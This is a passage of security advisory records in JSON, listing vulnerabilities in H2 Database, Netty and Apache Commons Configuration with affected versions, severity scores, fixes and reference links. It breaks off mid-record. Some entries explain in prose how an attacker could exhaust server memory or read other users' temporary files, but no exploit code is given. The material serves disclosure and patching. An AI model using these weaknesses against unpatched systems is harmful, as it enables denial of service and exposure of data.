[ { "id": "GHSA-22wj-vf5f-wrvj", "summary": "Password exposure in H2 Database ", "details": "The web-based admin console in H2 Database Engine through 2.1.214 can be started via the CLI with the argument -webAdminPassword, which allows the user to specify the password in cleartext for the web admin console. Consequently, a local user (or an attacker that has obtained local access through some means) would be able to discover the password by listing processes and their arguments. NOTE: the vendor states \"This is not a vulnerability of H2 Console ... Passwords should never be passed on the command line and every qualified DBA or system administrator is expected to know that.\"", "aliases": [ "CVE-2022-45868" ], "modified": "2026-09-10T03:49:46.817709183Z", "published": "2022-11-23T21:30:31Z", "database_specific": { "github_reviewed_at": "2022-11-23T22:31:05Z", "nvd_published_at": "2022-11-23T21:15:00Z", "cwe_ids": [ "CWE-200", "CWE-312" ], "severity": "HIGH", "github_reviewed": true }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45868" }, { "type": "WEB", "url": "https://github.com/h2database/h2database/issues/3686" }, { "type": "WEB", "url": "https://github.com/h2database/h2database/pull/3833" }, { "type": "WEB", "url": "https://github.com/h2database/h2database/commit/581ed18ff9d6b3761d851620ed88a3994a351a0d" }, { "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-22wj-vf5f-wrvj" }, { "type": "PACKAGE", "url": "https://github.com/h2database/h2database" }, { "type": "WEB", "url": "https://github.com/h2database/h2database/blob/96832bf5a97cdc0adc1f2066ed61c54990d66ab5/h2/src/main/org/h2/server/web/WebServer.java#L346-L347" }, { "type": "WEB", "url": "https://github.com/h2database/h2database/releases/tag/version-2.2.220" }, { "type": "WEB", "url": "https://sites.google.com/sonatype.com/vulnerabilities/sonatype-2022-6243" } ], "affected": [ { "package": { "name": "com.h2database:h2", "ecosystem": "Maven", "purl": "pkg:maven/com.h2database/h2" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "1.4.198" }, { "fixed": "2.2.220" } ] } ], "versions": [ "1.4.198", "1.4.199", "1.4.200", "2.0.202", "2.0.204", "2.0.206", "2.1.210", "2.1.212", "2.1.214" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/11/GHSA-22wj-vf5f-wrvj/GHSA-22wj-vf5f-wrvj.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ] }, { "id": "GHSA-2qj4-mmr9-4v2f", "summary": "Netty: Memory Exhaustion in SctpMessageCompletionHandler", "details": "### Summary\nSctpMessageCompletionHandler does not limit the total size of buffered fragments, allowing an unauthenticated attacker to cause an OutOfMemoryError by sending large SCTP fragments.\n\n### Details\n`io.netty.handler.codec.sctp.SctpMessageCompletionHandler` buffers fragments for incomplete SCTP messages. The fix for CVE-2026-46340 fixed unbounded memory growth by introducing limits on the number of concurrent incomplete messages (maxIncompleteSctpMessages) and the number of fragments per message (maxFragments).\n\nWhile the count of fragments is now bounded, the handler still does not enforce a maximum size in bytes.\n\nWith the default limits of 128 messages and 128 fragments, and a typical max SCTP chunk size of 64KB, an attacker can consume up to ~1GB per connection. By opening a small number of concurrent connections, an attacker can easily exhaust the server's memory, causing an OutOfMemoryError.\n\n### Impact\nMemory Exhaustion. Any application using Netty's SCTP transport with SctpMessageCompletionHandler is impacted.", "aliases": [ "CVE-2026-59902" ], "modified": "2026-09-10T03:51:12.916206530Z", "published": "2026-08-17T17:50:49Z", "database_specific": { "cwe_ids": [ "CWE-400" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2026-08-17T17:50:49Z", "nvd_published_at": null }, "references": [ { "type": "WEB", "url": "https://github.com/netty/netty/security/advisories/GHSA-2qj4-mmr9-4v2f" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/17213" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/17217" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/1b5abc6443b63726c72cdd285af2feb7ddbb8ff7" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://github.com/netty/netty/releases/tag/netty-4.1.137.Final" }, { "type": "WEB", "url": "https://github.com/netty/netty/releases/tag/netty-4.2.17.Final" } ], "affected": [ { "package": { "name": "io.netty:netty-transport-sctp", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-transport-sctp" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.2.0.Final" }, { "fixed": "4.2.17.Final" } ] } ], "versions": [ "4.2.0.Final", "4.2.1.Final", "4.2.10.Final", "4.2.11.Final", "4.2.12.Final", "4.2.13.Final", "4.2.14.Final", "4.2.15.Final", "4.2.16.Final", "4.2.2.Final", "4.2.3.Final", "4.2.4.Final", "4.2.5.Final", "4.2.6.Final", "4.2.7.Final", "4.2.8.Final", "4.2.9.Final" ], "database_specific": { "last_known_affected_version_range": "<= 4.2.16.Final", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-2qj4-mmr9-4v2f/GHSA-2qj4-mmr9-4v2f.json" } }, { "package": { "name": "io.netty:netty-transport-sctp", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-transport-sctp" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "4.1.137.Final" } ] } ], "versions": [ "4.0.0.Beta1", "4.0.0.Beta2", "4.0.0.Beta3", "4.0.0.CR1", "4.0.0.CR2", "4.0.0.CR3", "4.0.0.CR4", "4.0.0.CR5", "4.0.0.CR6", "4.0.0.CR7", "4.0.0.CR8", "4.0.0.CR9", "4.0.0.Final", "4.0.1.Final", "4.0.10.Final", "4.0.11.Final", "4.0.12.Final", "4.0.13.Final", "4.0.14.Beta1", "4.0.14.Final", "4.0.15.Final", "4.0.16.Final", "4.0.17.Final", "4.0.18.Final", "4.0.19.Final", "4.0.2.Final", "4.0.20.Final", "4.0.21.Final", "4.0.22.Final", "4.0.23.Final", "4.0.24.Final", "4.0.25.Final", "4.0.26.Final", "4.0.27.Final", "4.0.28.Final", "4.0.29.Final", "4.0.3.Final", "4.0.30.Final", "4.0.31.Final", "4.0.32.Final", "4.0.33.Final", "4.0.34.Final", "4.0.35.Final", "4.0.36.Final", "4.0.37.Final", "4.0.38.Final", "4.0.39.Final", "4.0.4.Final", "4.0.40.Final", "4.0.41.Final", "4.0.42.Final", "4.0.43.Final", "4.0.44.Final", "4.0.45.Final", "4.0.46.Final", "4.0.47.Final", "4.0.48.Final", "4.0.49.Final", "4.0.5.Final", "4.0.50.Final", "4.0.51.Final", "4.0.52.Final", "4.0.53.Final", "4.0.54.Final", "4.0.55.Final", "4.0.56.Final", "4.0.6.Final", "4.0.7.Final", "4.0.8.Final", "4.0.9.Final", "4.1.0.Beta1", "4.1.0.Beta2", "4.1.0.Beta3", "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.100.Final", "4.1.101.Final", "4.1.102.Final", "4.1.103.Final", "4.1.104.Final", "4.1.105.Final", "4.1.106.Final", "4.1.107.Final", "4.1.108.Final", "4.1.109.Final", "4.1.11.Final", "4.1.110.Final", "4.1.111.Final", "4.1.112.Final", "4.1.113.Final", "4.1.114.Final", "4.1.115.Final", "4.1.116.Final", "4.1.117.Final", "4.1.118.Final", "4.1.119.Final", "4.1.12.Final", "4.1.120.Final", "4.1.121.Final", "4.1.122.Final", "4.1.123.Final", "4.1.124.Final", "4.1.125.Final", "4.1.126.Final", "4.1.127.Final", "4.1.128.Final", "4.1.129.Final", "4.1.13.Final", "4.1.130.Final", "4.1.131.Final", "4.1.132.Final", "4.1.133.Final", "4.1.134.Final", "4.1.135.Final", "4.1.136.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.44.Final", "4.1.45.Final", "4.1.46.Final", "4.1.47.Final", "4.1.48.Final", "4.1.49.Final", "4.1.5.Final", "4.1.50.Final", "4.1.51.Final", "4.1.52.Final", "4.1.53.Final", "4.1.54.Final", "4.1.55.Final", "4.1.56.Final", "4.1.57.Final", "4.1.58.Final", "4.1.59.Final", "4.1.6.Final", "4.1.60.Final", "4.1.61.Final", "4.1.62.Final", "4.1.63.Final", "4.1.64.Final", "4.1.65.Final", "4.1.66.Final", "4.1.67.Final", "4.1.68.Final", "4.1.69.Final", "4.1.7.Final", "4.1.70.Final", "4.1.71.Final", "4.1.72.Final", "4.1.73.Final", "4.1.74.Final", "4.1.75.Final", "4.1.76.Final", "4.1.77.Final", "4.1.78.Final", "4.1.79.Final", "4.1.8.Final", "4.1.80.Final", "4.1.81.Final", "4.1.82.Final", "4.1.83.Final", "4.1.84.Final", "4.1.85.Final", "4.1.86.Final", "4.1.87.Final", "4.1.88.Final", "4.1.89.Final", "4.1.9.Final", "4.1.90.Final", "4.1.91.Final", "4.1.92.Final", "4.1.93.Final", "4.1.94.Final", "4.1.95.Final", "4.1.96.Final", "4.1.97.Final", "4.1.98.Final", "4.1.99.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-2qj4-mmr9-4v2f/GHSA-2qj4-mmr9-4v2f.json", "last_known_affected_version_range": "<= 4.1.136.Final" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ] }, { "id": "GHSA-337m-mw94-2v6g", "summary": "Apache Commons Configuration: StackOverflowError for YAML input with cycles", "details": "Uncontrolled Recursion vulnerability in Apache Commons.\n\nWhen processing an untrusted configuration file, Commons Configuration will throw a StackOverflowError for YAML input with cycles.\nThis issue affects Apache Commons: from 2.2 before 2.15.0.\n\nUsers are recommended to upgrade to version 2.15.0, which fixes the issue.", "aliases": [ "CVE-2026-45205" ], "modified": "2026-09-10T03:51:04.252880273Z", "published": "2026-05-14T12:30:27Z", "database_specific": { "github_reviewed": true, "github_reviewed_at": "2026-05-20T15:36:43Z", "nvd_published_at": "2026-05-14T12:16:35Z", "cwe_ids": [ "CWE-674" ], "severity": "MODERATE" }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45205" }, { "type": "WEB", "url": "https://github.com/apache/commons-configuration/pull/634" }, { "type": "PACKAGE", "url": "https://github.com/apache/commons-configuration" }, { "type": "WEB", "url": "https://lists.apache.org/thread/q3q3j10ohcqhs6o0rg1v7kz6kk27vtkk" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2026/05/14/5" } ], "affected": [ { "package": { "name": "org.apache.commons:commons-configuration2", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.commons/commons-configuration2" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.2" }, { "fixed": "2.15.0" } ] } ], "versions": [ "2.10.0", "2.10.1", "2.11.0", "2.12.0", "2.13.0", "2.14.0", "2.2", "2.3", "2.4", "2.5", "2.6", "2.7", "2.8.0", "2.9.0" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-337m-mw94-2v6g/GHSA-337m-mw94-2v6g.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ] }, { "id": "GHSA-5mcr-gq6c-3hq2", "summary": "Local Information Disclosure Vulnerability in Netty on Unix-Like systems", "details": "### Impact\n\nWhen netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled.\n\nThe CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1)\n\n### Vulnerability Details\n\nOn unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems.\n\nThe method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information.\n\nThis is the case in netty's `AbstractDiskHttpData` is vulnerable.\n\nhttps://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101\n\n`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`.\n\nYou may be affected by this vulnerability your project contains the following code patterns:\n\n```java\nchannelPipeline.addLast(new HttpPostRequestDecoder(...));\n```\n\n```java\nchannelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...));\n```\n\n### Patches\n\nThis has been patched in version `4.1.59.Final`.\n\n### Workarounds\n\nSpecify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user.\n\n### References\n\n - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n### Similar Vulnerabilities\n\nSimilar, but not the same.\n\n - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp\n - Google Guava - https://github.com/google/guava/issues/4011\n - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945\n - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [netty](https://github.com/netty/netty)\n* Email us [here](mailto:netty-security@googlegroups.com)\n\n### Original Report\n\n> Hi Netty Security Team,\n> \n> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project:\n> https://lgtm.com/query/7723301787255288599/\n> \n> Netty contains three local information disclosure vulnerabilities, so far as I can tell.\n> \n> One is here, where the private key for the certificate is written to a temporary file.\n> \n> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346\n> \n> One is here, where the certificate is written to a temporary file.\n> \n> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371\n> \n> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable.\n> \n> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91\n> \n> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file.\n> \n> Impacted OS:\n> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows.\n> \n> Mitigation.\n> \n> Moving to the `Files` API instead will fix this vulnerability. \n> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...-\n> \n> This API will explicitly set the posix file permissions to something safe, by default.\n> \n> I recently disclosed a similar vulnerability in JUnit 4:\n> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp\n> \n> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case.\n> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6\n> \n> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice.\n> https://github.com/netty/netty/security/advisories\n> \n> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first.\n> \n> Cheers,\n> Jonathan Leitschuh", "aliases": [ "CVE-2021-21290" ], "modified": "2026-09-10T03:49:14.198330300Z", "published": "2021-02-08T21:17:48Z", "related": [ "CVE-2022-24823" ], "database_specific": { "github_reviewed": true, "github_reviewed_at": "2021-02-08T20:07:45Z", "nvd_published_at": "2021-02-08T20:15:00Z", "cwe_ids": [ "CWE-378", "CWE-379", "CWE-668" ], "severity": "MODERATE" }, "references": [ { "type": "WEB", "url": "https://github.com/netty/netty/security/advisories/GHSA-5mcr-gq6c-3hq2" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21290" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/c735357bf29d07856ad171c6611a2e1a0e0000ec" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r7bb3cdc192e9a6f863d3ea05422f09fa1ae2b88d4663e63696ee7ef5@%3Cdev.ranger.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r9924ef9357537722b28d04c98a189750b80694a19754e5057c34ca48@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra0fc2b4553dd7aaf75febb61052b7f1243ac3a180a71c01f29093013@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ra503756ced78fdc2136bd33e87cb7553028645b261b1f5c6186a121e@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb06c1e766aa45ee422e8261a8249b561784186483e8f742ea627bda4@%3Cdev.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb51d6202ff1a773f96eaa694b7da4ad3f44922c40b3d4e1a19c2f325@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb592033a2462548d061a83ac9449c5ff66098751748fcd1e2d008233@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rc0087125cb15b4b78e44000f841cd37fefedfda942fd7ddf3ad1b528@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rc488f80094872ad925f0c73d283d4c00d32def81977438e27a3dc2bb@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rcd163e421273e8dca1c71ea298dce3dd11b41d51c3a812e0394e6a5d@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rdba4f78ac55f803893a1a2265181595e79e3aa027e2e651dfba98c18@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2021/02/msg00016.html" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20220210-0011" }, { "type": "WEB", "url": "https://www.debian.org/security/2021/dsa-4885" }, { "type": "WEB", "url": "https://www.oracle.com//security-alerts/cpujul2021.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuApr2021.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuapr2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuoct2021.html" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0053443ce19ff125981559f8c51cf66e3ab4350f47812b8cf0733a05@%3Cdev.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r02e467123d45006a1dda20a38349e9c74c3a4b53e2e07be0939ecb3f@%3Cdev.ranger.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0857b613604c696bf9743f0af047360baaded48b1c75cf6945a083c5@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r10308b625e49d4e9491d7e079606ca0df2f0a4d828f1ad1da64ba47b@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r1908a34b9cc7120e5c19968a116ddbcffea5e9deb76c2be4fa461904@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r2748097ea4b774292539cf3de6e3b267fc7a88d6c8ec40f4e2e87bd4@%3Cdev.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r2936730ef0a06e724b96539bc7eacfcd3628987c16b1b99c790e7b87@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r2fda4dab73097051977f2ab818f75e04fbcb15bb1003c8530eac1059@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r326ec431f06eab7cb7113a7a338e59731b8d556d05258457f12bac1b@%3Cdev.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r4efed2c501681cb2e8d629da16e48d9eac429624fd4c9a8c6b8e7020@%3Cdev.tinkerpop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r584cf871f188c406d8bd447ff4e2fd9817fca862436c064d0951a071@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r59bac5c09f7a4179b9e2460e8f41c278aaf3b9a21cc23678eb893e41@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5bf303d7c04da78f276765da08559fdc62420f1df539b277ca31f63b@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5c701840aa2845191721e39821445e1e8c59711e71942b7796a6ec29@%3Cusers.activemq.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5e4a540089760c8ecc2c411309d74264f1dad634ad93ad583ca16214@%3Ccommits.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5e66e286afb5506cdfe9bbf68a323e8d09614f6d1ddc806ed0224700@%3Cjira.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r71dbb66747ff537640bb91eb0b2b24edef21ac07728097016f58b01f@%3Ccommits.kafka.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r743149dcc8db1de473e6bff0b3ddf10140a7357bc2add75f7d1fbb12@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r790c2926efcd062067eb18fde2486527596d7275381cfaff2f7b3890@%3Cissues.bookkeeper.apache.org%3E" } ], "affected": [ { "package": { "name": "io.netty:netty-codec-http", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-codec-http" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.0.0" }, { "fixed": "4.1.59.Final" } ] } ], "versions": [ "4.0.0.Final", "4.0.1.Final", "4.0.10.Final", "4.0.11.Final", "4.0.12.Final", "4.0.13.Final", "4.0.14.Beta1", "4.0.14.Final", "4.0.15.Final", "4.0.16.Final", "4.0.17.Final", "4.0.18.Final", "4.0.19.Final", "4.0.2.Final", "4.0.20.Final", "4.0.21.Final", "4.0.22.Final", "4.0.23.Final", "4.0.24.Final", "4.0.25.Final", "4.0.26.Final", "4.0.27.Final", "4.0.28.Final", "4.0.29.Final", "4.0.3.Final", "4.0.30.Final", "4.0.31.Final", "4.0.32.Final", "4.0.33.Final", "4.0.34.Final", "4.0.35.Final", "4.0.36.Final", "4.0.37.Final", "4.0.38.Final", "4.0.39.Final", "4.0.4.Final", "4.0.40.Final", "4.0.41.Final", "4.0.42.Final", "4.0.43.Final", "4.0.44.Final", "4.0.45.Final", "4.0.46.Final", "4.0.47.Final", "4.0.48.Final", "4.0.49.Final", "4.0.5.Final", "4.0.50.Final", "4.0.51.Final", "4.0.52.Final", "4.0.53.Final", "4.0.54.Final", "4.0.55.Final", "4.0.56.Final", "4.0.6.Final", "4.0.7.Final", "4.0.8.Final", "4.0.9.Final", "4.1.0.Beta1", "4.1.0.Beta2", "4.1.0.Beta3", "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.11.Final", "4.1.12.Final", "4.1.13.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.44.Final", "4.1.45.Final", "4.1.46.Final", "4.1.47.Final", "4.1.48.Final", "4.1.49.Final", "4.1.5.Final", "4.1.50.Final", "4.1.51.Final", "4.1.52.Final", "4.1.53.Final", "4.1.54.Final", "4.1.55.Final", "4.1.56.Final", "4.1.57.Final", "4.1.58.Final", "4.1.6.Final", "4.1.7.Final", "4.1.8.Final", "4.1.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/02/GHSA-5mcr-gq6c-3hq2/GHSA-5mcr-gq6c-3hq2.json" } }, { "package": { "name": "org.jboss.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/org.jboss.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.0.0.CR1", "3.0.0.CR2", "3.0.0.CR3", "3.0.0.CR4", "3.0.0.CR5", "3.0.0.GA", "3.0.1.GA", "3.0.2.GA", "3.1.0.ALPHA1", "3.1.0.ALPHA2", "3.1.0.ALPHA3", "3.1.0.ALPHA4", "3.1.0.BETA1", "3.1.0.BETA2", "3.1.0.BETA3", "3.1.0.CR1", "3.1.0.GA", "3.1.1.GA", "3.1.2.GA", "3.1.3.GA", "3.1.4.GA", "3.1.5.GA", "3.2.0.ALPHA1", "3.2.0.ALPHA2", "3.2.0.ALPHA3", "3.2.0.ALPHA4", "3.2.0.BETA1", "3.2.0.CR1", "3.2.0.Final", "3.2.1.Final", "3.2.10.Final", "3.2.2.Final", "3.2.3.Final", "3.2.4.Final", "3.2.5.Final", "3.2.6.Final", "3.2.7.Final", "3.2.8.Final", "3.2.9.Final" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/02/GHSA-5mcr-gq6c-3hq2/GHSA-5mcr-gq6c-3hq2.json" } }, { "package": { "name": "io.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.10.0.Final", "3.10.1.Final", "3.10.2.Final", "3.10.3.Final", "3.10.4.Final", "3.10.5.Final", "3.10.6.Final", "3.3.0.Final", "3.3.1.Final", "3.4.0.Alpha1", "3.4.0.Alpha2", "3.4.0.Beta1", "3.4.0.Final", "3.4.1.Final", "3.4.2.Final", "3.4.3.Final", "3.4.4.Final", "3.4.5.Final", "3.4.6.Final", "3.5.0.Beta1", "3.5.0.Final", "3.5.1.Final", "3.5.10.Final", "3.5.11.Final", "3.5.12.Final", "3.5.13.Final", "3.5.2.Final", "3.5.3.Final", "3.5.4.Final", "3.5.5.Final", "3.5.6.Final", "3.5.7.Final", "3.5.8.Final", "3.5.9.Final", "3.6.0.Beta1", "3.6.0.Final", "3.6.1.Final", "3.6.10.Final", "3.6.2.Final", "3.6.3.Final", "3.6.4.Final", "3.6.5.Final", "3.6.6.Final", "3.6.7.Final", "3.6.8.Final", "3.6.9.Final", "3.7.0.Final", "3.7.1.Final", "3.8.0.Final", "3.8.1.Final", "3.8.2.Final", "3.8.3.Final", "3.9.0.Final", "3.9.1.1.Final", "3.9.1.Final", "3.9.2.Final", "3.9.3.Final", "3.9.4.Final", "3.9.5.Final", "3.9.6.Final", "3.9.7.Final", "3.9.8.Final", "3.9.9.Final", "4.0.0.Alpha1", 